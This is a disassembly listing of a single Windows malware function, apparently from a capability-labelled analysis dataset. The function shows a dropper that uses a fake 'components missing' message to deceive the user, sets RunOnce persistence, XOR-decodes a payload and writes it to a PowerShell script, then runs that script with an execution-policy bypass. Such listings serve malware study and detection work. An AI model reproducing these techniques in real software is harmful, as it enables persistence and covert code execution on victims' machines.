Function at 0x140006b30
Capabilities:
Create process on windows
Encode data using xor
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6c0]
sub rsp, 0x7c0
mov rax, qword [0x1400950c0]
xor rax, rsp
mov qword [rbp + 0x6b0], rax
xor r15d, r15d
mov dword [rsp + 0x34], r15d
call fcn.1400076e0
mov rcx, rax
call fcn.1400079c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140006ba0
mov rdx, rcx
lea rcx, [rbp + 0x158]
call fcn.1400037f0
nop
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
cmova rcx, qword [rbp + 0x158]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4Full
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140006c7e
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x140006c4e
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400075b8
call fcn.14000a2f0
mov rcx, qword [rbp + 0x6b0]
xor rcx, rsp
call fcn.14000a2d0
lea r11, [rsp + 0x7c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r9d, 0x40
lea r8, str.Microsoft_Components_Missing
lea rdx, str.Your_computer_is_missing_some_components._Keep_working__but_expect_computer_restart_when_components_are_installed._Do_NOT_restart_computer_manually._Just_click_YES_on_next_prompt_to_allow_it.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r9, str.mutexCOMPONENTS
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r14, rax
test rax, rax
je 0x140006c0d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140006cd7
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400074fc
mov r8d, 0x104
lea rdx, [rbp + 0x290]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r12d, 2
mov r9d, r12d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140006d69
lea rcx, [rbp + 0x290]
mov rax, rbx
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x140006d23
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x290]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyProgram
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x70]
call fcn.140025ec0
lea r13, [0x140000000]
lea rax, [r13 + 0x56770]
mov qword [rbp - 0x70], rax
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r15
mov dword [rbp + 0x58], r15d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r15
mov byte [rbp + 0x98], 0
mov dword [rsp + 0x34], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x3c], 0x98
mov qword [rbp - 0x68], r15
xor r8d, r8d
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x40]
call fcn.1400034c0
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140005fe0
nop
mov r8d, 1
lea rdx, str.C:_ProgramData_SecureConnectionTunnel.ps1
lea rcx, [rbp - 0x60]
call fcn.140005f40
mov esi, 4
lea edi, [rsi + 2]
test rax, rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
je 0x140006e6a
mov eax, esi
cmp qword [rbp + rcx - 0x28], 0
cmovne eax, r15d
mov dword [rbp + rcx - 0x60], eax
test dword [rbp + rcx - 0x5c], eax
jne 0x140007546
jmp 0x140006e8d
mov eax, edi
cmp qword [rbp + rcx - 0x28], 0
cmovne eax, r12d
or eax, dword [rbp + rcx - 0x60]
and eax, 0x17
mov dword [rbp + rcx - 0x60], eax
mov edx, dword [rbp + rcx - 0x5c]
and edx, eax
jne 0x1400075be
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x60], dil
jne 0x140006f03
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140005000
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov rax, rcx
mov dword [rbp + rcx - 0x74], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x40], rbx
lea rcx, [rbp + 0x40]
call fcn.140009874
nop
jmp 0x140006c0d
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x180]
call fcn.140025ec0
lea rax, [r13 + 0x56768]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], r15
mov dword [rbp + 0x240], r15d
mov qword [rbp + 0x248], r15
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmmword [rbp + 0x270], xmm0
mov byte [rbp + 0x280], 0
mov dword [rsp + 0x34], 5
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x228], rax
mov dword [rbp + 0x224], 0x98
xor r8d, r8d
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x228]
call fcn.1400034c0
nop
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x180], r13
mov rax, qword [rbp + 0x180]
movsxd rdx, dword [rax + 4]
lea r8d, [rdx - 0xa8]
mov dword [rbp + rdx + 0x17c], r8d
lea rcx, [rbp + 0x188]
call fcn.140005fe0
nop
cmp qword [rbp + 0x208], 0
jne 0x1400070a1
mov r8d, 0x40
mov edx, r12d
lea rcx, str.C:_ProgramData_SecureConnectionTunnel.ps1
call fcn.140009ccc
test rax, rax
je 0x1400070a1
mov r8d, 1
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140005a30
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x40], rcx
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
lea rcx, [rsp + 0x38]
call fcn.140006240
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.1400058c0
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140007073
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140007073
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x1c8], 0
cmovne esi, r15d
mov dword [rbp + rcx + 0x190], esi
test dword [rbp + rcx + 0x194], esi
jne 0x14000757f
jmp 0x1400070db
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov eax, edi
cmp qword [rbp + rcx + 0x1c8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x190]
and eax, 0x17
mov dword [rbp + rcx + 0x190], eax
mov edx, dword [rbp + rcx + 0x194]
and edx, eax
jne 0x140007616
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
mov r8d, 5
lea rdx, str._auto
lea rcx, [rbp + 0x130]
call fcn.1400037f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1400077b0
mov r9, rax
cmp byte [rax + 0x428], 0
je 0x14000719f
lea rdx, [rax + 1]
mov r8, rbx
sub r8, rax
movabs r10, 0x991135b13b4b4b1b
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x428
jb 0x140007160
mov byte [r9 + 0x428], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
inc rbx
cmp byte [r9 + rbx], 0
jne 0x1400071b0
mov r8, rbx
mov rdx, r9
lea rcx, [rsp + 0x38]
call fcn.1400037f0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x14000720b
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007206
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000766e
call fcn.14000a2f0
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp + 0x120], xmm1
lea rdx, [rbp + 0x110]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x180]
call fcn.140003dc0
mov rcx, rax
call fcn.140003760
lea rcx, [rbp + 0x188]
call fcn.140005b30
test rax, rax
jne 0x1400072a7
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x1c8], 0
cmovne edi, r12d
or edi, dword [rbp + rcx + 0x190]
and edi, 0x17
mov dword [rbp + rcx + 0x190], edi
mov eax, dword [rbp + rcx + 0x194]
and eax, edi
jne 0x140007674
mov r8d, 0x104
lea rdx, [rbp + 0x4a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0xa0], 0x70
lea rax, str.powershell.exe
mov qword [rbp + 0xb8], rax
lea rax, str._NoProfile__eXeC_byPasS__File_C:ProgramDataSecureConnectionTunnel.ps1
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xd0], r15d
mov dword [rbp + 0xa4], 0x40
lea rcx, [rbp + 0xa0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140007359
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140007375
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_start_download_for_components.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1400073c0
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400076c6
call fcn.14000a2f0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x14000741b
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007415
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400076cc
call fcn.14000a2f0
nop
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x180], r13
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x17c], edx
lea rcx, [rbp + 0x188]
call fcn.140005000
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x180], rax
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x17c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x228], rbx
lea rcx, [rbp + 0x228]
call fcn.140009874
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140005000
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x74], edx
mov qword [rbp + 0x40], rbx
lea rcx, [rbp + 0x40]
call fcn.140009874
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x140007539
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007534
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007540
call fcn.14000a2f0
xor eax, eax
jmp 0x140006c4e
call fcn.140011ddc
nop
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001fa0
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x130]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rbp + 0x130]
call fcn.14000c28c
nop
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001fa0
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x130]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rbp + 0x130]
call fcn.14000c28c
nop
call fcn.140011ddc
nop
test sil, dl
je 0x1400075cc
lea rbx, str.ios_base::badbit_set
jmp 0x1400075e1
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001fa0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x130]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rbp + 0x130]
call fcn.14000c28c
nop
test dl, 4
je 0x140007624
lea rbx, str.ios_base::badbit_set
jmp 0x140007639
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001fa0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x130]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rbp + 0x130]
call fcn.14000c28c
nop
call fcn.140011ddc
int3
test al, 4
je 0x140007681
lea rbx, str.ios_base::badbit_set
jmp 0x140007695
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001fa0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rsp + 0x58]
call fcn.14000c28c
nop
call fcn.140011ddc
nop
call fcn.140011ddc
int3